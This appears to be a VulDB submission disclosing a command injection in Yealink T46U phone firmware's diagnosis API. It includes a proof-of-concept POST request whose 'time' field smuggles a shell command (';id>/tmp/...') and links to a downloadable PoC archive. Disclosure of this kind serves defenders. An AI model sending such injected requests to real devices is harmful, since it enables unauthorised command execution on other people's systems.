| 제목 | yealink T46U 108.86.0.118 Command Injection |
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| 설명 | Yealink T46U phone firmware `x.x.x.x` contains a command injection vulnerability in the Web FastCGI service `fcgiserver`. The vulnerable endpoint is:
```text
POST /api/diagnosis/start
```
The endpoint is handled by `mod_diagnose.CommandShellByType()`. In the iperf client branch, the `time` request parameter is concatenated into a shell command without quoting or validation when the request includes a non-empty `protocal` parameter.
poc
POST /api/diagnosis/start?p=Setting&t=<timestamp> HTTP/1.1
Host: <target>
Cookie: JSESSIONID=<valid-session>
X-Csrftoken: <valid-token>
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
command=iperf&mode=client&address=127.0.0.1&protocal=IPv4&time=1;id>/tmp/diagnose_iperf_poc |
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| 원천 | ⚠️ http://cdn2.v50to.cc/T46U/T46U_mod_diagnose_CommandShellByType_iperf_time_cmd_injection.zip |
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| 사용자 | CookedMelon (UID 52513) |
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| 제출 | 2026. 05. 20. PM 05:33 (28 날 ago) |
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| 모더레이션 | 2026. 06. 14. PM 03:54 (25 days later) |
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| 상태 | 수락 |
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| VulDB 항목 | 370862 [Yealink SIP-T46U 108.86.0.118 Web FastCGI Service /api/diagnosis/start mod_diagnose.CommandShellByType 시간 권한 상승] |
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| 포인트들 | 20 |
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